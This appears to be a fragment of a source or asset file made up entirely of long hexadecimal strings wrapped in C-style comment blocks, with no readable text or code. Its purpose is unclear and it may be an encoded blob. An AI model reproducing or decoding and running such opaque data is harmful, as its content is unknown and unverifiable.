73828d5c823901e5e7869bc1db432f6a5b894be1cd289cd0b9ddb7187967cf40b50fd7b877287e44e741b6661c0287408fbee32d06f6ddb81c164e6b9c5d46d011a8cc1e23fff1b393aed5c8cb9414828187cb077e361b4fbbbad4fcf0f9a148fd1fd44fa80944acec7e87bd80de91c9fb58ce7473c58dcfb9de07f1c46382388ecc3c892c6574ddc64e664c68d057a4efc2bc53e439de09fe76c9326f0c0a7e9356baeb90400ba681bdd4a748a633f741e0d598dbb7a74c49af549d681c356478633d313deed2c1a9833fe0d0510280b5c6c965cedc23f2304a463785a8f8691fb17bf2453bced31a841dc8aa8010b817a10efce08f5f6e4380b74a671b157824dc6641e3564bd4d166d37c3085f740855c5c48643acd24100b75e0d0553a82e1d665a7d9d7a5dd30f28eac8e0ab3c34870599da1fdee73dba9ae9bc3caf0d54e7d1cea5007ff33de3fb75f4e0506abe06a35cd03a1e222f0a96682aee00a457ab6fdde725d3c820403ddc214a2417c077182e10533d983cd05be9a912c8e3297b6b387376246fdc4636381f3d8f212748aeb7cbf4bfcb83f9eee253c3d3c6eca1fb56cce48f3ddb40e33f5dc684f0080f203e454efc29c294ccfce7ed82aa086c1ca7335182432da7e9bc78c17252e4b2d69debca188768fd34586112a22d9d3c22b116be68d0d3710de64aa12fc7185683f0116509c01d7bb331c91c2a7ed34480a324dd8a3fb9b284fa328ab464d654b4904e6572e7ecfdf5d6dbe27ce652bff471f6bd2c4cc4f690fdc518cdca85d3e9678dd678efb3c472dc1e7817be4dc227130a1476244e712ea1eb0ddae9a188e2a90a9a569feb88cd5ba7ef8cb0dac4195b626b05d3b7f2b772e48c1e781edc34034a2f8221216d4920a9c82556c58049f90fb488c362084349c16e2a199c08347bf6612eb9665c7d6525f174adf2ab9ef9a272adf274ffd4869b434b9a28d206925c1dbf598798d38f052f67f52314f4c580815d785aa0218bc26c50eaf75bd88b6b2d2b00f3616b7177cfbaec43b4ec86*/
/*820d4d2299d11d9bc2212dc3b709391d0f157030012ab7feaaace486b522662eb9e539d5d9d60fd789a0bd94acb58325f898c6e33036d26d2b8c4080579a3ab7019a537a1a9f56b465f803cab5b2e9dd3fa03b9afa2a0259f583834f6ee76d68e58cc922aed0856285c08c2c88f83f21fad6eea62a754d0daa9696a7ef32d5548ee796566862a6888aae968b18cd3dd90ed75ffd7688463de2c502345f5100c685ae69c56252b50e53d96f8ec1e9d8cd81721a1eea22b9c5e53dad1fbeb4245a37448d0f7e3bb57f76f3979be1b2fa2067fcaf4ab843bef2e3be9a74cd01476261419c6ef4dfc44b96fc4ed223503167d05190761de306cc050a1742bf576bf56f4c4535543f9c664e4a8d2c128cbb507dac318c6e9aed59fa77a424a46b88328c73cd3bf53893dfde71729a19c41a85d1719ad62230ea048a725f64efbb587f6a83faa1919e8b75d857d15ed857b4fb5156a6716819ef7b2bcbe7a7f03ec73c731216b4442ed2cef417a09786c8171d04f80881a116cdfceb25e4946866264193c313efc045670a87a30e71d6905ab5a3958fded5a7256d281843feb3ecf190c6b131f3b96e883407dc59713cf5bc1741d7ad49184ed8f406bc05483a5dc066ca0ac02dbd9e49cbb83f526ada813f2dcd854fb4806e762480d8d0636ebb709bdb34d0a0b9f74c4ebfc45434601e540c43f9a7bd7c128645a8cebd2d170821a5740edf0f58169b258e8eec407616e3d15fe198c5491fc061723358e6af820384b754e07d5b6a20dbe75d93c445b82e09c954158588e61186174632fdc346b3f5bc2279c2e2e5545e480311822a893f8079897641539c4ac11170fc1e98b4ffb52ed0a95fc342066723fb35cb936650da31bff780a6af119586cab649863259f0a1c0806dbbc7afa45753143bd232aa86055b073629d5f4c66ce7fd7e8533987321bfbcfd1b02b953b30bc2d9d41498718f3fcb35d261b833c5c51520478cb5258831a009faf1eec99fedd6d8e1f710e1aa2e234093c3995f43110f1fa9b992999c520fff5b5babc710b4aa55e322c607caa025c17793e76b8e766193e33485d04cbe3b697131884be8af7a65da2a26fe4ccce5bcf254dc128f922f5a6f990e1d107c888855626a9e86921044a6dda19557520e547470b693fbcea31a56114cde34b55560bfae1b92be502735c2f3c3a4cceb3b3e1b7150215fbc5668b4fd760a5aad58b20ce4a4429a4d7b9a7af0739369597483094827b7d298231fef13ac64f1123957d0ed4c2d05be9ac5120276a7e8dd6969b8fc732f5fbffd07a5d72b3156ea43d2a95948c4690b5c16ec537ae538a6a68381c91e1863bc2626cecb5ad696020145003121404cdce381b7e4819a8f42d5215f5688f74865356d5b6937ef9b221dbe5ac84d8ff7755ade0ec797339b10342c6ae339f763404a9ce90b43379b868f68fea556f6fabd934f24a2645e524324eebe833a9c3ef412d4b90700de8eb3b5c3ba7eb1e4f8182cb8f7ea904a6053bef0accd97780ecb2dbab66dd8158d0e8fe4be241bbc02982a36502841437f73afb8c52446cc5382890f3177268a7b63381194c0a72be25ee266c1f1f08ac5c72de753796569382443f15ceb224d030d3fb9918479c2dcddfca335596d4a0699428b9059132bfc1234d03a352ecf6df524df837f213924065dc482286ff36c24e25ba9610cbb53630ade160b3e8b4d32925e814099282175468a4d85468ae676a74b5370552a48fb8572bb7f408018eb1ed18c0cc20e6afcefddd145c24ca40ed130b75f642b6865188f61b1c84cd9319999524dd7483d8c8b9152790816907aee05f8b07014a07b3fb4029f1c5122c9ce5ad7e823a3e8b2c1792d4fbd19a49b02107646a813733a092d2c499d33b13f73becab589d94d0e708f7ec53642969d3544e04c8727310f2103d985c451a7d498035676426fc4849868e9208e47b7de133d002b5b9e15b57a284a73ac70c6c3fe040031281947b5b03168c51b5a8b106b52a8ad463bac27ccccdfcc55f277157ee05da5db2156d440c43643bfedca45692da3dd9adb2fd3a394bee821cf460a4d0bce53444428e53e59f1c72ba24539115b57f0c6f10425c5f57ea15e8b32aa1d7b4aa4612214847bf8c146c9c93bdd789caf3aec4c6f7dfe58088bea284312960209034ac56e42727339f23400b9079ad5327c6b2e3290797e10682d849adba3001f584bc062688044ec59bc45557d9cc0a7925a5431dc8176e25a8037b015675528dfad1ef4b24f150ae97a7ca3eeb15d41c1986f282374e4f1d38b17a773561a6e9f48350eb177a1772af91fa73c56a163874107563d6d9c1e8102a96a0604f75585ee455e99477fe219c6364b5f2fd902a527fb63e09ec704d9c7d841e1bdcaee6e778907475a5e53454aa08819540852415fa3e0a9fe8dbd4ca58698627165f53e56df4ff31e7fd1ce2348b8a40852527b45309da8b1fc0f8c2805d632670b6cc2ba4717b0eef006f4aad4c580fe5712a1b0c1f6280044fb6c061929d667b163112686a25ec34c1ddd04ff95890e20ef8464879f04acc375a88c0237c855c3307c873a44926e9337b4a79d20089ece40377c5f7c39e0185ea79d202dd8170b607612940a33770a66adf1e268d6ced697cfd7e6419f7923bb212464709dea851ed2192797cf6e8c85f1000bc388b1e03c034e65442af33666ecc0efe77df39771da6b30eeee67b70933cdaec654836a181354b85d5f277f1d7046d04c29c77f77ea11832059e651fff2c2ac571943098dae974ece61a5eb5f9be95b4f9abc9776ca27c692996d7503028f58*/
/*7ff1ac6f839811e08ef733057d2f9994e61f0456236eb85db9ae905c3b9048ab60d0a509f40bb5b08578e5ca1c0b1d89576823dd5159616ca473effa09f508ee47681de576900c1e29671b66c77d873bca24ae0874ff82cb8fa7cf2e2f70f19f1e3888368094f029450e480b0b899ed095685d44c5c772dd93c6a3a27633b00a8250ed2393e684a0eaba93b720fe9fa06233f3ca670d371b866ed1265f6ed2a643888478696225dcf9713d572db943d9ce3b0c9a01ed97c72a16c49af398eedc7c101f73f9df5124af0bf33091500aab7c66bfc14eaaa3ce5cb1e742e9f76142cab6980d25f279305475627e538f06d74ac2cb27388b3fdb06faa4027eeb38dabf6273f01e21e228e6c957fd1b47d160725816eaf187accc21387fe00414810edc6731f86b5748bb57539e6379b0f4ae32b6d12006f6ff39a8e02a21c31f14b487a09ab3fdd92feb58b36046a6305b8762469b8383c32c9b6c6d93d8afb215176cfafb32f8d534edb871133c4f950be6e1fa1371de8c5f87068eb6b9118c3f612128a1f99f08b52683299b031548581ea75cc7c35211f7fee74e3c7219d7ad608ed25f7f41f329dcc6050a48da34bcc134871fdc0ba8e87d4cccfe0406a5c422c0e1668e7706b05051ad1776f114a176a20fc4bb51857ea005a0c70aa3679211bce444a8693dd8ff75d59d25a0dec1158af719866a201f7c7beeebf598a441342d5aa0d6307529b440ae01534a36e8c7387839dbdaccf7f98b15e17f41a55fe519a43bf70e1ba21c93ade2927283b1152dcecd4812bc410c864cf435cd7b73c54b69a31f847a1e982a041f2ad9a832396ba3fca7b5979c0a59cb856e602b3e8a6b5ce0a97e92a98539a2c6686c1c2e1139f278daae1d5374ab5edc26f4dc9fff0d9832551d36831f9a60c37b6ea2285b35db0eeb13ce214a04413a733a3a4a81e9586105e86b557582be68a30c464eb2b84d39759228eb2a174305ed10d1ea516bbe80d245917b0d29087bf9c0a789786d34331d8ecac3ef6e8a562b83e6c5c3899ad0ddd5942bd022528a2a43a286d7fd7a10d8602a34bf3972d185e3c301e6af3f72559b8b4134e4214d0f4692838af3dc507763cbd7d99fa12f25e097e09b7d746240304e5087095c75dc0a541ae4c0f2aac11dba8b0b4ed2aa16184463f78f3cf530cd3b60235448c39d92a0a92034dd40d42948a81b296d370dc35c33f817e65f96da0e476a6c35053d7e288463e93aa24dfec251d222219739a9013ddfa84239713369b61410200ffbf357edb1620859404d8226990c5c87dfcee4d1fc697b728e69b81a62c8fd6ab950d202221b740c65a0101e549b0829655cb8d28249a0b39f25610b2332fc674aeda2e31d3b03cf42f069bad57a893765a70cb92ba0fea035947b213b2fb29c9e91c134c1b9594a1454a92a59bb6addcead804c6b8a1b22108f79d858eb4cdc17ece6b389d0f06f0f7ced79eac637ce23a2488e11ece5cef344fcaedd8fc5070d7a19849c829baf7b9a6aa75551faf3a3f3ff8601dcc2a5fae700d3d85de5f80b98477fb0ea64b74a1870aac248b13e355fec77feb865bd71661d491e66d091481c28dd6524480aa142ea36285dc9cced1541af02208884418509bc3c7b3268a2d71cfcf3b1731535deeb2cb3be2e00e5b0a32e358c59797cc918bad9976030e72b23e2cdd327a030ccc78feb9b16ecac930ee0cb0ba4b04bfaa42e2775c474e9c1b29a02eb11d1144cb0720ed41933c29792a321661ed1754f8e5607933263e0d0d248127a92afa19d95f65e3583203a081d3586141c29182433d29da47b10bb61464cd5c0e91a958f891403f37452b698d0a6eb751f69a58a848f1b1a3c1c4210ffe78778483520076bfdc7ef2d36421ca55d717d3c569d58b8c298340776006967d12b9609b6be356c322a50d865b858c8bce692968233f61bca62a95866f6ae371f1a8ca7082a092b5ed71b9753055d377243c85af87cf7e666eeac9b5ab91871a9a4056b5bc67f5a543ff486fd42b8a5930e8d1f010539786acc22cc5f65d44006d8067b2c2d6465683b5529dc96cc37c6282badbf88792eb3a0321894aaf73a75017c54f89f1140a0419f37de58d95b01b3170a1b48c678c79b926c7f25f39c0d90e930bb0f185281d38da2d1f39b865b13b41db796e6092c4080ec46e4b920bb6e47736156c5f8fdecfb892636e8b65996222e6cd4c30c0f16fd730d32a6c4d961e9f900a1725714a468210a641d1bd253413980131249973d6a4df514685758b78ffd4fea70ae9d0b45f8489714ac30262ee5e0d3e92194c47b76aabc6ff3c1f8910a79ebe56f8a020d6272623641e9064023ab1e413d2242cf3d0705d6dc44439f89de13247c3ca5387a64ee8941ab6bf79989d58bda98e26967a969eeaf6dd3e90573cfc8305be46a136418aa6b5773176086e361651e751520aa571d480ae41db845376c2292ba95badc821719cb644d9a9f1ab3920e5c9109dd438d0191eeb102b098f9114b206e666e2ce80ad8e7d56499785e48633ccfc32fb9c5c84b3d19a54dfdf907e3e648f2f6ea8441928d2339e880b86524f258b73aceda141fef87b75807ad72478ba1e7746c7ddb140f3d633550ef9f1c0d59b19f52463db5f183dd0b4c79fa14ec39c257927b5a795c8fa24ef85664f1db9aae228dedcde338a482ca4ee802546ce95c886b4578f21e7fd70bce42b3127850b1fe670a72041c907ce3ee937617a258885eaae121fc4ed93c70a3e1ce1eb41efcf2512f19e8c524627bb608cedf97417ae62369154bb0cad71b05a7d81159e0f91e52231d1bbe*/
/*42fbdbec1869cbfa859f1ba67f9f68ccdd14affe1881a680ce81b359bab1b0c96df715015f4b181ace997d08ddadd088e3ad26c5465119fc60c6494fe3cb3d678d5449a49d440e66e7feeefc2af50162a8225621de5a4c1169a2c005863097eb6b730037b6f9a2e61b96a932db8aa9e7cb40decea3294853fd5765d1d8dcc9d2678d2c4c8ee23015d48173b82b313e0850b6e5f64dbeb808e353542d096082a37cf561db6bb39d3d178a3d16e74cb3e21345f406effac4a477592745aab140e8268b963be3684305e6155e4809a1f4fc500b7524749e93c83bd1ed1e4eb80b2c905b2bbb2dcd07537d6305c19d433e5e091dcc5a46f635b49aa330e503edb90eae6e807fb044ec38c4a72ac2b06bc9ab68eb92c74dff9fc8cb7f771581922fc5a9de8bec0b84f818bbf2b7800b0ebeec68b1d31a7f2235516c5ae67cd91a2b08297a64d177b864c26ed0873a4c0e415866b3796a561ab6ec252b610774da9a0b279866c8a840095e7007db105ac57cd08f707f2c0a28f63141f8cc18ff03daa6a1d61a3c7e8476491cf0e8a5d794af15ed801eb47d4b3ca08a7fd4ec6cdb7de2ab58240af806ddb953312c9ea7e707dd97cb89ff5cbeac7e9b928c1e934395b24a73fff1ff7dc4b6b7673cb35a1049ec4da3b2452fa59df474bd954fde84af6eb6f49165d1d0440299c9594865fe1f0fa53af6ecdf1c2be1aca964c82a99907e7d51908e36c405f4620d871c95f37cd45eae096ca9bf9f9c531d4fe625fa05806e0bdb359a5d58243275638a1cc85140c12f4022241f97a5a02acb70a6aded231abec2be98d4d2e7cb3dae84dd9d4acd7f02ccfa5cf4653999d0fe91e0fc4701b1b0a40cc3c359ee9f4bfc9d9204982426ca0a8863c7032026d3b79d74d0a28f82d61d459ad368025c97e5c4d67ceffec730e53f51044b3a3c7c0d7fbd6116a3e5de7de2127b6cf9f80f30db9a28ed2c77d7390b01a39d1d6811bbe53eb6442a7a3725278a1ba085e18a232b1b36e74e31e71c530ee18051550a02bbadbb10781077dfd67920743328e00202dd1d8cf9887768a45de145ba5726c5feed48afee0045a3077126489ba111f57add5e87717c04c831995aa570f5743c936f03127ac0af7ee82696b6c5f4d4774d1246ad8e37d254a4f65d29642bbdeb8b3acb329c176d9ce91712a44a7078886cb52b644aa854e331ed7b83a89699d74f4279b07a5f27a3c5ea19794437e46064a55772bcd271046f72402bcd4995e35b14f0b56eeea2a5e01b0ac9c588bf7f8403c0b13c91143657cb959f4b2997b6de4a85a58db7bc24eba9046ba1e673705beb5e71bab128bfc938f30b8bce811a33e162e4965c49eea02dd2f859b726bfc5ba2d7efeeb4618550f9092e05ff09838916cd70328f2e523e6bd32cb1e0010154bb0fc6d26179d2bd25a4763ea150a281a9c22b6e8463d83e9b5ecafd6aa9b686bc1b4700edf18596e49c6ca755fa827483a79bc56c805e88ed5853bd6c882c2cb2fa1c7fe8dbc3a2a6d5bca21bd41f5da695a1ba5bc3c07958ad408e9ce95ff8d850e87a321c091006c278bffcd1cf6a3e2773fe5c3f7bf35981ec01f6b78f0f3fe77ad6201b26fec15b52fb9bd14cd7a6504be63126b1fb10c16a03814f66379da6249fa7131ba2d1e0fc175f08a88e1363c6b27c1bdb5f5383946763c8b538b79905c3e05bfc29fb6b5ca381b8bfcbfb94a37267d930bd7186c1a0ff4cb3373448ace681e3a7a9049bbbee45096385ed6415e8ee3ef2bb93fd5f0e1af0f7cf7f034eaf31207bde7077b0175e9ce7bcbd1cb48dbbeb3eda632ba343d0ef95e209dd02a151981e626ad195b1d6d17971310438377dfcdb9e1f3d070c2e616db481ad3ba22353a5fb3ae3a2cf475e2df38fabd78360c5f98546e81c511d0248159e08346cef8fe8e0810d24243acba75a58676a0da4b8e608a11a88abdfd9029835ad9bcaf40d8eedd232cf5764efd26613c68098161c44579bd66f49cef5308349e536dc22c424c39376a0a5289423565cebad83fff41e8b1b996d4128410c4e1e74e3e937f937a7f191640d1182952e3fa6102368105da6e42b429bbeef65645f5e52ed0b8ad2dfea16d44927e32da3f02202eba91da5e5586f107cec24bce86dc391428d0389daf961d71ee5e62cd16364291a0ac99169bf1cba05250a19777deb376d3ed8ed61f492e7f5c985bca3167b0f96d77f2d2292defec68f4ac95d74aceca7d5a6e5b0187f81470782fb3f9f53678ac08b36fe539130c8a0a24e85719bef86766703a63c950f1269066ffda47c832f797f769b0296f2eb00c728477745fad835af1dc59a3fa0dd483727f332643cef70474ff10e76cce5ffae036367965ce98c76caa9895fb32eb15679f615d674679d876e43d94ccaf411cee26e2bfe341272de4fa67876c8ee23844857d90e2193a8342da9889fdc4d57e09a3fbcb609f0c6c51063d1cd993017b8407c0c5c2ff96c8311eebacff068d340d4a0480c8f7089afd8b627c67521c904161be0592eef37bef259f626a90a89123de2a18a331894944145e10581b31b8002e2202af74c4b7424f5ab3795a4fc502aec2c7b5b322a7b82525b7282bdc9e000f158cfb5700675b2ec395b38d4db869aa2c37ff9482c6fdad0271ca0aacc5cf681fd0c8a2c80fbbb6991b59aae5b9e3bab25afb8c01cba93a9e2698f1a7b6fd6392de3222412649dcabec8455e2df3080f34bf3c73fb02805e16387a9c31fcc95009f779e8d0b7aff168937d660b35d914bc99ca6f054ec08cab166864f7075a3b60259080e3aaf5b0ab554fadb0803ab2437e302*/
/*1ef342fd1f2b8a864894808b8a0291642bf0af2b0294fbf58417e4e2ec00cf5d5a7fa2cc8adca87381bf554d489acafe0b827cfaa50c4372184075070008ed52c76531d99b89d3375e2d08c562223faeaacd54fa934918f3c578280466a09ddaf5293fdb122b1f580c089973f5126670fc67637f6b617d2df379131b55f192fa26f242f854a835b94f3f43a0de48a33f18e855fa2ee3af1baf912ffae3a014a7ed0a33cb516e143b4e57081f799994deb9f1a2a435d3df6b91e09628a5084dd33377b9ffd4833aec4f810e238e82cc425b0c6c97cc96aa2051b8c9bca1f512db40da736ef6abd1ca2df84726bbbe949583745ffd46f8d5e61b0c6d620b9f1af5619183c2682d318eb50a7b3e569cb7d69c619a5fde20fbfd56027baab6cdb8f8023f7d665dd7efe7b863ad62b8531c22e0f0be33dcbf60ac7ea6b50a4b5f2a55568f2c9262c98924030e2cd6ba5215b854a72ca6c44025102700e843cafae3a028de67ffb4271c0f9679d5c072d12073aec86d2addebff497ffe469fc4b8272875e555db67fcdee4df7d55d313d8a75d68e83cdb251ddfbf72d16b5c1eff93064cda8eb54f18a8bf40d4123dbdc8ed9f4b019962d6c0a11ad184e6279ed199641bbc6127d48e46c304258c9a643e95285cd6754d1affaf5451d300640fb6d090cc72494a78bd0508b58fcf746c732c1aa3a113d88275da03fc1a0c6fcf2c4f83361cc182415cb0d9cd6f8671417519da3aa174da135edf0f94159757ee7788f15edd9d619fc4584e2557cd39df16c961f8530d4d50617c75af5faa667c07c654264228172a2e6a7b967e7117eca64e84ee8317c91ed020f9f232c91622e21f456a8479dba1971415024978405d92efe229ca4086e8514aeb4de09b457112e67e9201eb055f4cea8b39df5be700353dfcf5f524743d01b097dd514103221968832f3a2ee1202e5c4c5ddad4fbeb9d89b758410f1a9defa6f62021097b2176a626a21ced1f902fa77a30026106af8aa00aaa8c4384eec53cadac7cdba1a3fa19b921564c173dae29ca1f866223d6571085c64863386536b64ca4bf1809113b309e0829a5bf859c41862dbcdba93f05c7d2c8dd24e1372f2d2e6a9f46639f1f7273e9757ba7db847d820c568d9bca404a4aed3450f567d20f938b7f16fc4fc3a5b5eb3073d0b64c5454affe3215eb780b706fe8bdab35508aea662d34f7e4027335b32a4b20d277eee83c9f316afe7004997303ac7f75fedfa9cdda798b389a1da4d02d883839bba520711166643232a21402ec677293a3ed3e723cc3c9fd69f174098a0c2ec88d91d88beb9afad34328a514006c4215139eded1f232c0ad5f50050373f6ea80c420309bd55f2afe3308e0ba5a93b8da64d01bf68758f9699ebd0cdfb3860ba6b17f867535284629d700d42a119b16cf3f8c7ce51baa5630b22cd7051b47a0949245066a5837a1aefb4cc181705f2fb2141993eb59d74fcc1053b274b40e329b39cd95985c4b6ecc84ff31051c79899269efd0e6fb18a8ea35587fad1b62610e4b2326cf77baecdb738ad7e78b7eb60c14f3b356f116190f1f78c82aa0a1e860f0efff15741f98a7fd85bcc994543d32febf8f1a5912a8e20651274e6041dba4c16036d4631ddc766c5407eb37c79fdb97095d845535ffb38955d0681907164cdab9cc3a53a07fb417f94516f8fe1c8fc743663fe2dbe9e144bcfa1e811c82f26dd655ed8fd661ce1279f5eb106124074487b6ba7ebbb26fbcb884ac469270e6fd7fac2a057b58a148cd7405954ad8337686d8800881a65c03eacda4b62af2dff4b091a29f92b1eed441d9ca2248dae1a7a2b0ffae5abe96eb4d99583c437576641624492cb126af7e9cc337d099b3fe5b6f78cc15f05517c69078768aff0c991c68bdb7f0e7986fe5dbf04f2fa00b2447b812d4791421d9e1c44b74ad8f2701daf84721977a3df3e3a86da8a64298697d98d022f87433379fd4b0c77475c1433673c1091f2a57679a95c653192823b6fd3e73903a45440e11f4ce08d2c864db4e0b60693b777d136948e87b1f5c41d7b0a842a263dd5b32a3b0d39c4d6ce15d129e5281750d701f7d4de8531c7a4a204ef3b88ae89a4ea9003e75b92623d224256e633541270e4c3e390f6ddda765ca474dfffd9592609dfe6cb384a607e545f257c5cb2d7f69059c643fea55c85d73d54859c965cf6772c0baeb459327bec65e296e56a5b02df836f6e41970f1609f244a05c7b20cc3361488ea26333cb1e914ae385bf2dd35c3f58ff10bbac2630913d53292c873090a67a97fdb5f8428643c4398066234737b4aa987a5d8b22113012ca17f7812d5ad1f5b5558082855ee8ec4ef0e8a217db9cca0f8be69b449cd7d533f02aabc57f27b44e02631979cd98dd932a75557c0f91933c141f96ed0660e3edf138ce5e19f51d32d1fbae588f36d9ae1025856d9e0716866c5fff06007f98214030a11de502c123d4c437ae1de0a958b41b3eb0f005f7058b6c4dd443c3a4bf9b6afc5bbe4d90ccd5fa817d51cc8b55c2ac12c6d3c782b17904444481c80388177a220d91ee6ce3e5ec145c5cb69f59f472c89fc7420d80f0dea94de8e13c7b2a63c2f225846972253b2254dca3117bf0b4766f824ee7b62c279f3e9a1d35be32a43d67ff045d8026b9484749bddcf92c5112b05748d7d302fc99cc1fef83899eb38b4ae498bb68faaebd14bb2a179a021276460225782738fca3be988c6736b3ded2839778607389e427794a99c894874e1ba61a2894dc61301b468c304d0bb603a954c60a9a7e5347cfe9b020b21fabcd9be64d8eb8a6e*/
/*653489817f17403d38e4176735b54f54d9f69d5fd10a4087af4df3b6b6be7c9b68adbcb3ae4b17ab63111fb51b41b2dcbb72df2d2392fc4c56433f7733996877baa5c2cd51b38769f4feb740a9a48034b637b6fb122e04d570ee478a52a7cd224a26570526a77d4187e3c0a68f98a662610662403909a64a36be0054913de4050b9c3dec7737ed75790e89d5c1ff34fa37158c3ebafa023f18d41976dbb21a89120a122cb138dec4dcb35f1770241daecf2e144fa6678cae7ffeef973280bbf47ef6b313a4327328c13a6f685d4ec8b39b88e2cea5375a1ea1fb05b97a1a027c7e5330dad682f1201377a3f88c2d1180389b2ee7766dd55212ab08af9e3d4de392ad031249eb6cabbc1795ee253d223d3f28c2aa0020620e1db3ad0c75fd19890b9355c0696c29afddc7a74c157ff32510412a194b261c1bf7d175d6d8671289c4fb4630970a9b47ad83eef7bdb99ab69717b2fd52f59b0654d02c01366546e1c8ba6c6224cc1941c80e9cec4bf28c12a936beae9438cb77d7dd5b8e851e5dc97ebf0c48730a78ef28c0ef63f40ff6dbb2106cd54ec59ee5f9fdb4c461c799ca348c191aa096606321f59b25c7b46b7c74c85d20d79702c3f9dfcb95bc38214ba2a2e69e30fff2cf4c3365c008ab7d86cddf2e2a22d6d9872989e1a0335321917151348a434010ab429ef3c9fc4d4b74b65ad7f0b89fd6aa575fbc87657b850496127788b5d167b10959da32570dbba568b5dda5d5dd4424ba30fee23c8d28e8d1fc8619057c9b968f130b71a5d38d8c95b6a85c9a5d7249d1fbd7f0e14f8b1147c91f5a36b976229ee539a306c4d3d82cb09c85b56b92574d6089b461aad83ec0e1b15981e664ff404c1bb7a9b2babe920b6bb13e75c4883dda93797b69de9491b0df4fe0eea33067651c2be515514c933ddffa118bd06cd7f3bc214392288895873f72e5bb7a276efa75a848e83eaa7684ba95ccf75b5dc2f5cdd8107b2b989d024291d5e1c3bb098502380639a024266620fba38bfb9a5ad90835cdbb55bfb1d152b5747be32c6f78ee573e5e62d092bec06489783dff40c120fa148a0e3e21a9d2716e2f2fe7142c6bdc4458f2164762cc3862e9f228b1a06cae2363e16b9669f9041acd596f2ceeaf5865befb910a1f00f4c39566cc08bbd58327bef23761f3db305a80a9ac4252c03f7f44b3b8e39829a402bc35a8774d400552edb119aec604e12daa07cf4312c8b92f513bb113b9bed23f7250e470814fd5b188f5d270a320617a5e2e558bce486733ad5b746bacdc415c56f8c77c593823d8e8ee92381cac5966c576b52ce0690f3e926ac55946e9a0c56aef1081611e62e82bd5774a348e5cb7ce6e8a85a719c2450cec65c0e51a3a9a2546fcd6671d7fff317cddca5dd546b36d8f7beda5228be2292574e31b4de34df212cea4c3dd2afc26a1b98275a72d96f5e22c3e1108542e9ec5d74fcd20d471eac7fe181bf05ddad4b4678f2d0b902440458938b65d40caf45b002562a1765bb76271408959e67d47d5a1f1e86a312faccf885dc6f77a70954267fb9d6bf75fd135dbcf0cd28c524f33969f82395c1bd0f1a4a9bc6b498c1eac570a5f9ab52bfe49396e8276bc44a01667779b3831e0649d6dc07def8eebe97aeaa3a3984502d786cf537109053f7abda8d3cd84eedc04363c03443a736654012daffe04117c31d94f67fda664fd9dec9cd6a07ffc3d6c36571284b31ec476e18ad9723eba344dacc8ba40676a89483e232066ee1e5fb74a3f0f45c5a005e6847dcbb70d6c788a3d6fb5eb3ab7d0f572668027aa9c4f8552e148db3b725b5e714db077decdae226c0edb5a9339db8c3ab4b5174a358726f8da98ccb2e02382cd075f005f252d6f81a7f46cf4a12094c9a8a5c0e96e2aab925c7f78c650526061f5d88f2eca2d1562c1a4a23bedf8be7b1d1d6f8adb8f4dbf000b40f1a8e1197fed877e318671db2e935be7576429f39b645924cc5d89e69ab460433568bb5cd332f2f78a6acac40c6b423f1bae4cbae48f8911d1fd1fde8f282075567cb591816545001f2c20d0c075a129e3bbcd4b3adb459a5c76e616a1e85c178974e4700cced652ec44f787df50988b873281a158e66e1f0d786721bc00fa92164740d979c8d8fe384a7ec6de20bb1de477bca723140bc371a115eecdbcf43fcc150c70b3079b53d7cab6500f5e49db2be88175c2ff08954a324a76cff1b02c5b30cef2f60c88be52e32ac40ef15d334f61e669b95a6baccb2909f383f48dbe41aa24954ce72bac95a00a6de9e5bf8298621ce15d24397351e5f2420b78fac9252904388a831894bafdf325ca98a3f29590ada14b82edad069e9653c8bca55c3c994a3a6fafcd9758b2b50c6835184cbec749c71fb307819b20641d948e11ab9becb43bc00dc16b8a89ef8a66ed0ef9507d29d6f5df87af4c875c4a0bb3ae2379f28bb2f1a07207256fc0e5962f6190d24a2f4fa162983cc7e503ec92b4bdc7cb37d519293292f4a8e4e872c0fb71783863c02668635c317a499498bc5f0454c11ce5594eb7f878ef2d04f232ec5bbb7b3a85f122023f81bdaf58882e1044947182dd8a5e531f14fc8ae348516e369664fe2c8990b852ae1491b954408bb351a96ee5b763b1713f5b6d07791b263093f684ffbb03be8f230852416439f19fa695dd4f6509672b2d61301fa439e4c0e7b2de999072c49a6a3e4bffdf552c6451f71dd1bac43c78afa6df2a888a62d7c03b6553584c3ad571d3d9efb06f3740c441cabf25445440e82fe85e03810566642d81b65c4d302427cc0d7a84ae6a5d145af9f3330dfb*/
/*124a1d929b449ea298edfabb515c5c21a94c575f2112ba63782390688bff1a96b9059b99dad44b50eb56001dbea455eb9d779932ec77e6990a2cdda7d267afa5d4cbc49a8e4fbe1b1f33ef01d7b6ac616b38476e2d7e10bd2d76a91f48e0a9fab5b9778f8282ed74efd72590f65346fe41075c93ede26302cdec8bbaebd6f7e456f5bf18f0fcc96bacd42f5b31df054caf53e88723bbf9dd2107657cfa383403423ae6392625b5f346c999aec40276df6c0d353f782fbaf8c439a56c3cab4f7416b9e70937f2ffe6fee75bf3f9285a2ebdea73b4588c73bb3afccb083d8bd1ec9325c66d069b34f92fc4ed98c1da0c23d683ec828e5c89f90bfb29593522e4d883e96d8e0c4090b73feb1d0c08c9ff73e0ff566cded517c9435273b065d95bd98d7c2194190aba84af38074b77febc9431b659cf2b493d60328eb8a1cd9c9324d619a85ef555138cd5151776d00c66bde0e0b3b273d3ebaed3d3b80935cd3f3b47114db9a65b7c9126c1dbdd6fe9c75176b8e5bb2bc3e9b408491b06a6bd2b6acae1280181007f69773f02ac0d9cc19a5fee58df4ef60f7f85aff347c80a88ef928277c03648cc19fa7b45a2093b44169588945bc125544e29e36302b786d7284901423ab1a6e0f9e852fac107c819d0405e2f636671078f5a2f31a47d486a6111324a56aa3e4c3dfecd1cf2739fd4578a4953bdedca58e2e1e7c20e5078985f1a929bbc5fa8e498080df6b9860d6a88f33b34c54c09abfca0e90f283cafd7f7e8786d4feb4dcfdb70d8c34d9b5e8ca5d0abfaad4d1553cbf45a6744a75f1ecb924a9da9eae5c08c350d6439d05b30d1a1f93c7d3ef1442505c205c196e4de077deb0454cca1580540c228c23678a61c81e646754f2e39372908323caf9bd06375915df420929916f7b97f3fb0d43a18e335ad1ffc6972b2723ea74bd9bcc52418b4b9dd76aeea81b72856851d4f09d51d5c5563913551482d9e459f7991d5ac392df5911b11e9b4d9e3ad375bb9432d4d6a48ba04a14986500fe52d0f86bb9a15641e9a7e735e99fc864fad912d64c05091c4aaa592d2871fd71c50c8e315f6a1242a27a5d69c8b26aa49a56281616f9639ba339e37b3ed54f9fcd2701b6ac0854219dcb9d4c3349339ab52539b8413059d88c78a07a1891c60b05323f3f2aa5ffe4d572a8c1b7ca9ab75e7b84a872212a3bf8a3e1555a58f028c36ebc908a9d